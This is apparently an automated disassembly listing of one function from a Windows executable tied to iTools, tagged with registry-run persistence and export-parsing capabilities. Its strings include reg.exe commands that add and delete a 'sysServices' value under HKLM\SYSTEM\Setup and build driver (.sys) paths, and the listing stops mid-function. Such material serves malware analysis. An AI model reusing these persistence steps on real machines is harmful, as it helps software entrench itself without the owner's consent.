Function at 0x401f51
Capabilities:
Persist via run registry key
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
mov edx, 0x38
sub esp, 4
mov dword [esp], 0
dec edx
jne 0x401f59
call fcn.00415fb0
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push 0
call fcn.00409538
call fcn.00409082
add dword [esp], edx
call fcn.004146d0
call fcn.004090a0
mov ebx, eax
cmp ebx, 0xa
jne 0x401fca
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push 0
call fcn.00409538
lea eax, [esp + 4]
push eax
call fcn.00415ee0
push 0x3f
call fcn.004011e5
mov dword [esp + 4], eax
push 0x47
call fcn.004011e5
mov dword [esp + 8], eax
push 0x4f
call fcn.004011e5
mov dword [esp + 0xc], eax
mov ebx, dword [esp + 4]
cmp ebx, 1
je 0x40201e
mov ebx, dword [esp + 8]
and ebx, ebx
je 0x40200f
mov ebx, dword [esp + 0xc]
and ebx, ebx
je 0x40200f
jmp 0x402016
mov eax, 1
jmp 0x402018
xor eax, eax
and eax, eax
jne 0x40201e
jmp 0x402025
mov eax, 1
jmp 0x402027
xor eax, eax
and eax, eax
je 0x405eab
mov edx, 0x41a7fe
lea ecx, [esp + 0x10]
call fcn.00409008
push edx
call fcn.00415e40
pop edx
push eax
push 0x25
call fcn.00401e77
mov edx, 0x4192bc
push edx
call fcn.00415e80
lea eax, [esp + 0x18]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
mov eax, str.sysnative
push eax
mov eax, str.system32
push eax
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0x2c]
call fcn.004149d0
call fcn.00409082
add dword [esp], edx
call fcn.00414d80
lea eax, [esp + 0x18]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push 0x24
call fcn.00401e77
lea eax, [esp + 0x1c]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0x1c]
mov eax, 0x41902a
push eax
push 8
call fcn.004062e0
lea eax, [esp + 0x20]
push eax
call fcn.00415ee0
push 1
push 2
call fcn.00409c30
mov ebx, eax
cmp ebx, 1
jne 0x402132
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0x20]
call fcn.00406229
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
lea eax, [esp + 0x20]
push eax
call fcn.00415ee0
mov edx, dword [esp + 0x18]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x4192bc
push edx
call fcn.00415e80
mov edx, dword [esp + 0x20]
push edx
call fcn.00415e80
lea eax, [esp + 0x24]
push eax
call fcn.00415ee0
mov edx, dword [esp + 0x20]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x4192bc
push edx
call fcn.00415e80
lea eax, [esp + 0x28]
push eax
call fcn.00415ee0
mov edx, dword [esp + 0x18]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, str.iTrash_
push edx
call fcn.00415e80
lea eax, [esp + 0x2c]
push eax
call fcn.00415ee0
push dword [esp + 0x28]
call fcn.0040e1da
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xfffffffe
jne 0x4021c8
cmp edi, 0xffffffff
je 0x4021cc
xor eax, eax
jmp 0x4021d1
mov eax, 1
or eax, eax
je 0x4021e9
push 3
mov eax, 0x41902a
push eax
push dword [esp + 0x30]
call fcn.0040e3b1
mov edx, dword [esp + 0x24]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, str.plugins_
push edx
call fcn.00415e80
lea eax, [esp + 0x30]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0x28]
mov eax, 0x41aa1a
push eax
push 8
call fcn.004062e0
lea eax, [esp + 0x34]
push eax
call fcn.00415ee0
mov edx, dword [esp + 0x30]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x41a0a2
push edx
call fcn.00415e80
lea eax, [esp + 0x38]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0x18]
mov eax, 0x419b08
push eax
push 6
call fcn.004062e0
lea eax, [esp + 0x3c]
push eax
call fcn.00415ee0
mov edx, dword [esp + 0x38]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x41a89e
push edx
call fcn.00415e80
lea eax, [esp + 0x40]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov eax, str.HKLMSoftware_
push eax
push 8
call fcn.00401315
lea eax, [esp + 0x44]
push eax
call fcn.00415ee0
mov edx, dword [esp + 0x40]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
lea eax, [esp + 0x48]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push 8
call fcn.00406611
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
lea eax, [esp + 0x4c]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push 5
call fcn.00406611
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
lea eax, [esp + 0x50]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push 0x200
call fcn.00414980
lea eax, [esp + 0x54]
push eax
call fcn.00415ee0
push 0x200
mov eax, dword [esp + 0x54]
push eax
push 0
call sub.KERNEL32.dll_GetModuleFileNameW
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0x58]
call fcn.0040e743
lea eax, [esp + 0x58]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0x5c]
call fcn.004149d0
call fcn.00416040
mov edx, str.itools.exe
pop ecx
push ecx
call fcn.004090b0
mov ecx, eax
call fcn.004090c0
je 0x4023dc
mov edx, 0x41a1d4
lea ecx, [esp + 0x58]
call fcn.00409008
jmp 0x40241a
push edx
call fcn.00415e40
pop edx
push eax
mov eax, str.HKLMSYSTEMControlSet001Services_
push eax
push 6
call fcn.00401315
lea eax, [esp + 0x60]
push eax
call fcn.00415ee0
mov edx, dword [esp + 0x5c]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
lea eax, [esp + 0x5c]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x18]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, str.drivers_
push edx
call fcn.00415e80
call fcn.00416040
mov eax, 0x4199c4
push eax
push 6
call fcn.00409082
add dword [esp + 8], edx
call fcn.004062e0
lea eax, [esp + 0x64]
push eax
call fcn.00415ee0
mov edx, dword [esp + 0x60]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, str..sys
push edx
call fcn.00415e80
lea eax, [esp + 0x68]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push 8
call fcn.00406611
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
lea eax, [esp + 0x6c]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push 8
call fcn.00406611
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
lea eax, [esp + 0x70]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov eax, str.sysServices
push eax
mov eax, str.SYSTEMSetup
push eax
push 0x80000002
call fcn.0040173f
lea eax, [esp + 0x74]
push eax
call fcn.00415ee0
mov edx, dword [esp + 0x18]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x4192bc
push edx
call fcn.00415e80
mov edx, dword [esp + 0x74]
push edx
call fcn.00415e80
mov edx, 0x41a978
push edx
call fcn.00415e80
lea eax, [esp + 0x78]
push eax
call fcn.00415ee0
push dword [esp + 0x74]
call fcn.0040e1da
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x402565
jl 0x402561
cmp ebx, 0
ja 0x402565
xor eax, eax
jmp 0x40256a
mov eax, 1
or eax, eax
je 0x4028e2
push dword [esp + 0x74]
push 2
call fcn.0040eb40
and eax, eax
je 0x4028b6
mov dword [esp + 0x78], 0
push 2
call fcn.0040ec00
mov ebx, eax
and ebx, ebx
jne 0x402736
mov ebx, dword [esp + 0x78]
inc ebx
mov dword [esp + 0x78], ebx
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push 2
call fcn.0040ed90
call fcn.00409082
add dword [esp], edx
call fcn.004149d0
lea eax, [esp + 0x80]
push eax
call fcn.00415ee0
mov ebx, dword [esp + 0x78]
cmp ebx, 1
jne 0x402619
mov edx, dword [esp + 0x7c]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
lea eax, [esp + 0x84]
push eax
call fcn.00415ee0
mov ebx, dword [esp + 0x78]
cmp ebx, 2
jne 0x402641
mov edx, dword [esp + 0x7c]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
lea eax, [esp + 0x88]
push eax
call fcn.00415ee0
mov ebx, dword [esp + 0x78]
cmp ebx, 3
jne 0x402669
mov edx, dword [esp + 0x7c]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
lea eax, [esp + 0x8c]
push eax
call fcn.00415ee0
mov ebx, dword [esp + 0x78]
cmp ebx, 4
jne 0x402691
mov edx, dword [esp + 0x7c]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
lea eax, [esp + 0x90]
push eax
call fcn.00415ee0
mov ebx, dword [esp + 0x78]
cmp ebx, 5
jne 0x4026b9
mov edx, dword [esp + 0x7c]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
lea eax, [esp + 0x94]
push eax
call fcn.00415ee0
mov ebx, dword [esp + 0x78]
cmp ebx, 6
jne 0x4026e1
mov edx, dword [esp + 0x7c]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
lea eax, [esp + 0x98]
push eax
call fcn.00415ee0
mov ebx, dword [esp + 0x78]
cmp ebx, 7
jne 0x402709
mov edx, dword [esp + 0x7c]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
lea eax, [esp + 0x9c]
push eax
call fcn.00415ee0
mov ebx, dword [esp + 0x78]
cmp ebx, 8
jne 0x402731
mov edx, dword [esp + 0x7c]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
lea eax, [esp + 0xa0]
push eax
call fcn.00415ee0
jmp 0x402590
push 2
call fcn.0040e790
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0x18]
push dword [esp + 0x54]
push dword [esp + 0xa8]
push dword [esp + 0xa8]
push dword [esp + 0xa8]
push dword [esp + 0xa8]
push dword [esp + 0xa8]
push dword [esp + 0xa8]
push dword [esp + 0xa8]
push dword [esp + 0xa8]
mov edx, dword [esp + 0x44]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x4192bc
push edx
call fcn.00415e80
mov edx, dword [esp + 0xa0]
push edx
call fcn.00415e80
mov edx, 0x4192bc
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.00406d8a
call fcn.004090a0
mov dword [esp + 0xa0], eax
mov ebx, dword [esp + 0xa0]
cmp ebx, 1
je 0x4027f0
mov ebx, dword [esp + 0xa0]
cmp ebx, 2
je 0x4027f0
jmp 0x4027f7
mov eax, 1
jmp 0x4027f9
xor eax, eax
and eax, eax
je 0x40288d
mov edx, str.delete__HKLMSYSTEMSetup___v__sysServices___f__reg:64
lea ecx, [esp + 0xa4]
call fcn.00409008
push 6
mov eax, 0x41902a
push eax
push dword [esp + 0xac]
mov eax, str.reg.exe
push eax
call fcn.004095c4
mov ebx, dword [esp + 0xa0]
cmp ebx, 1
jne 0x402864
mov edx, str.iTools_has_been_removed_n_nreinstall_iTools
lea ecx, [esp + 0x10]
call fcn.00409008
push dword [esp]
mov edx, 0x41902a
pop ecx
call fcn.004090c0
je 0x402862
push dword [esp + 0x10]
call fcn.00407efe
jmp 0x40288b
mov edx, str.Restart_Windows_n_nAnd_reinstall_iTools_again
lea ecx, [esp + 0x10]
call fcn.00409008
push dword [esp]
mov edx, 0x41902a
pop ecx
call fcn.004090c0
je 0x40288b
push dword [esp + 0x10]
call fcn.00407efe
jmp 0x4028b4
mov edx, str.iTools_remove_failed
lea ecx, [esp + 0x10]
call fcn.00409008
push dword [esp]
mov edx, 0x41902a
pop ecx
call fcn.004090c0
je 0x4028b4
push dword [esp + 0x10]
call fcn.00407efe
jmp 0x4028dd
mov edx, str.Remove_Itools_failed
lea ecx, [esp + 0x10]
call fcn.00409008
push dword [esp]
mov edx, 0x41902a
pop ecx
call fcn.004090c0
je 0x4028dd
push dword [esp + 0x10]
call fcn.00407efe
jmp 0x405ea9
mov edx, dword [esp + 0x58]
xor ecx, ecx
call fcn.004090c0
jne 0x40292a
mov edx, dword [esp + 0x44]
xor ecx, ecx
call fcn.004090c0
jne 0x40292a
mov edx, dword [esp + 0x34]
xor ecx, ecx
call fcn.004090c0
jne 0x40292a
mov edx, dword [esp + 0x3c]
xor ecx, ecx
call fcn.004090c0
jne 0x40292a
mov edx, dword [esp + 0x64]
xor ecx, ecx
call fcn.004090c0
jne 0x40292a
mov eax, 1
jmp 0x40292c
xor eax, eax
and eax, eax
je 0x405e82
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x30]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x41a258
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.00401882
call fcn.00416040
mov edx, 0x41a8ae
pop ecx
push ecx
call fcn.004090b0
mov ecx, eax
call fcn.004090c0
je 0x404df8
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.ADD_HKLMSYSTEM_setup__v_sysServices__t_REG_SZ__d__
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0x28]
call fcn.004149d0
pop eax
mov edx, 0x41902c
push edx
call fcn.00415e80
lea eax, [esp + 0xa8]
push eax
call fcn.00415ee0
push 6
mov eax, 0x41902a
push eax
push dword [esp + 0xac]
mov eax, str.reg.exe
push eax
call fcn.004095c4
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x30]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x4192c0
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.00401882
call fcn.00416040
mov edx, 0x41a8ae
pop ecx
push ecx
call fcn.004090b0
mov ecx, eax
call fcn.004090c0
je 0x404df8
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x30]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, dword [esp + 0x54]
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.00401882
call fcn.00416040
mov edx, 0x41a8ae
pop ecx
push ecx
call fcn.004090b0
mov ecx, eax
call fcn.004090c0
je 0x404df8
push edx
call fcn.00415e40
pop edx
push eax
push 0
mov ebp, 0x549c40
push ebp
mov ebp, 0x41ab40
push ebp
mov edx, dword [esp + 0x34]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x41a1ba
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004068e6
call fcn.004090a0
mov ebx, eax
cmp ebx, 1
je 0x402b2a
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x28]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x41a1ba
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.0040e1da
call fcn.004090a0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x402b1f
jl 0x402b1b
cmp ebx, 0
ja 0x402b1f
xor eax, eax
jmp 0x402b24
mov eax, 1
or eax, eax
jne 0x402b2a
jmp 0x402b31
mov eax, 1
jmp 0x402b33
xor eax, eax
and eax, eax
je 0x404df8
push edx
call fcn.00415e40
pop edx
push eax
push 0
mov ebp, 0x5526a8
push ebp
mov ebp, 0x549c40
push ebp
mov edx, dword [esp + 0x34]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x419da6
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004068e6
call fcn.004090a0
mov ebx, eax
cmp ebx, 1
je 0x402be0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x28]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x419da6
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.0040e1da
call fcn.004090a0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x402bd5
jl 0x402bd1
cmp ebx, 0
ja 0x402bd5
xor eax, eax
jmp 0x402bda
mov eax, 1
or eax, eax
jne 0x402be0
jmp 0x402be7
mov eax, 1
jmp 0x402be9
xor eax, eax
and eax, eax
je 0x404df8
push edx
call fcn.00415e40
pop edx
push eax
push 0
mov ebp, 0x59d310
push ebp
mov ebp, 0x5526a8
push ebp
mov edx, dword [esp + 0x34]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x419ae0
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004068e6
call fcn.004090a0
mov ebx, eax
cmp ebx, 1
je 0x402c96
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x28]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x419ae0
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.0040e1da
call fcn.004090a0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x402c8b
jl 0x402c87
cmp ebx, 0
ja 0x402c8b
xor eax, eax
jmp 0x402c90
mov eax, 1
or eax, eax
jne 0x402c96
jmp 0x402c9d
mov eax, 1
jmp 0x402c9f
xor eax, eax
and eax, eax
je 0x404df8
push 0x96eb24
push 2
call fcn.0040fa3c
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.103636
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0x68]
call fcn.00401681
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
call fcn.00416040
push 0xc
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.104072
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0x68]
call fcn.00401681
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
call fcn.00416040
push 0xc
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 4]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push 1
mov ebp, 0x5c6d78
push ebp
mov ebp, 0x59d310
push ebp
mov edx, dword [esp + 0x34]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x41a8d6
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004068e6
call fcn.004090a0
mov ebx, eax
cmp ebx, 1
je 0x402e4b
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x28]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x41a8d6
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.0040e1da
call fcn.004090a0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x402e40
jl 0x402e3c
cmp ebx, 0
ja 0x402e40
xor eax, eax
jmp 0x402e45
mov eax, 1
or eax, eax
jne 0x402e4b
jmp 0x402e52
mov eax, 1
jmp 0x402e54
xor eax, eax
and eax, eax
je 0x404df8
push edx
call fcn.00415e40
pop edx
push eax
push 0
mov ebp, 0x5dede0
push ebp
mov ebp, 0x5c6d78
push ebp
mov edx, dword [esp + 0x34]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x41a77c
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004068e6
call fcn.004090a0
mov ebx, eax
cmp ebx, 1
je 0x402f01
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x28]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x41a77c
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.0040e1da
call fcn.004090a0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x402ef6
jl 0x402ef2
cmp ebx, 0
ja 0x402ef6
xor eax, eax
jmp 0x402efb
mov eax, 1
or eax, eax
jne 0x402f01
jmp 0x402f08
mov eax, 1
jmp 0x402f0a
xor eax, eax
and eax, eax
je 0x404df8
push edx
call fcn.00415e40
pop edx
push eax
push 0
mov ebp, 0x7183e0
push ebp
mov ebp, 0x6b16e0
push ebp
mov edx, dword [esp + 0x34]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x41952a
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004068e6
call fcn.004090a0
mov ebx, eax
cmp ebx, 1
je 0x402fb7
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x28]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x41952a
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.0040e1da
call fcn.004090a0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x402fac
jl 0x402fa8
cmp ebx, 0
ja 0x402fac
xor eax, eax
jmp 0x402fb1
mov eax, 1
or eax, eax
jne 0x402fb7
jmp 0x402fbe
mov eax, 1
jmp 0x402fc0
xor eax, eax
and eax, eax
je 0x404df8
push edx
call fcn.00415e40
pop edx
push eax
push 0
mov ebp, 0x7258e0
push ebp
mov ebp, 0x7183e0
push ebp
mov edx, dword [esp + 0x34]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x41930c
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004068e6
call fcn.004090a0
mov ebx, eax
cmp ebx, 1
je 0x40306d
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x28]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x41930c
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.0040e1da
call fcn.004090a0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x403062
jl 0x40305e
cmp ebx, 0
ja 0x403062
xor eax, eax
jmp 0x403067
mov eax, 1
or eax, eax
jne 0x40306d
jmp 0x403074
mov eax, 1
jmp 0x403076
xor eax, eax
and eax, eax
je 0x404df8
push edx
call fcn.00415e40
pop edx
push eax
push 0
mov ebp, 0x757648
push ebp
mov ebp, 0x73e348
push ebp
mov edx, dword [esp + 0x34]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, str.rez.exe
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004068e6
call fcn.004090a0
mov ebx, eax
cmp ebx, 1
je 0x403123
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x28]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, str.rez.exe
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.0040e1da
call fcn.004090a0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x403118
jl 0x403114
cmp ebx, 0
ja 0x403118
xor eax, eax
jmp 0x40311d
mov eax, 1
or eax, eax
jne 0x403123
jmp 0x40312a
mov eax, 1
jmp 0x40312c
xor eax, eax
and eax, eax
je 0x404df8
push 0x96eb24
push 2
call fcn.0040fa3c
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.635921
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push dword [esp + 0x50]
push 8
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.635426
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0x54]
call fcn.00401681
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
call fcn.00416040
push 0x34
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 4]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push 1
mov ebp, 0x6b16e0
push ebp
mov ebp, 0x5dede0
push ebp
mov edx, dword [esp + 0x34]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x41a984
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004068e6
call fcn.004090a0
mov ebx, eax
cmp ebx, 1
je 0x4032ae
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x28]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x41a984
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.0040e1da
call fcn.004090a0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x4032a3
jl 0x40329f
cmp ebx, 0
ja 0x4032a3
xor eax, eax
jmp 0x4032a8
mov eax, 1
or eax, eax
jne 0x4032ae
jmp 0x4032b5
mov eax, 1
jmp 0x4032b7
xor eax, eax
and eax, eax
je 0x404df8
push 0x96eb24
push 0x13
call fcn.0040fa3c
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.47520
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push dword [esp + 0x3c]
push 8
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.82605
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
mov eax, 0x41916c
push eax
mov edx, dword [esp + 0x3c]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x419170
push edx
call fcn.00415e80
call fcn.00416040
push 9
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 4]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.63421
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
mov edx, dword [esp + 0x3c]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x4192bc
push edx
call fcn.00415e80
mov edx, dword [esp + 0x40]
push edx
call fcn.00415e80
mov edx, str..pdb
push edx
call fcn.00415e80
call fcn.00416040
push 0x15
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 8]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push 0
call fcn.00406bbe
lea eax, [esp + 0xac]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.82657
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
mov eax, 0x41916c
push eax
mov edx, dword [esp + 0xb4]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, str.___description_
push edx
call fcn.00415e80
call fcn.00416040
push 0x28
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0xc]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
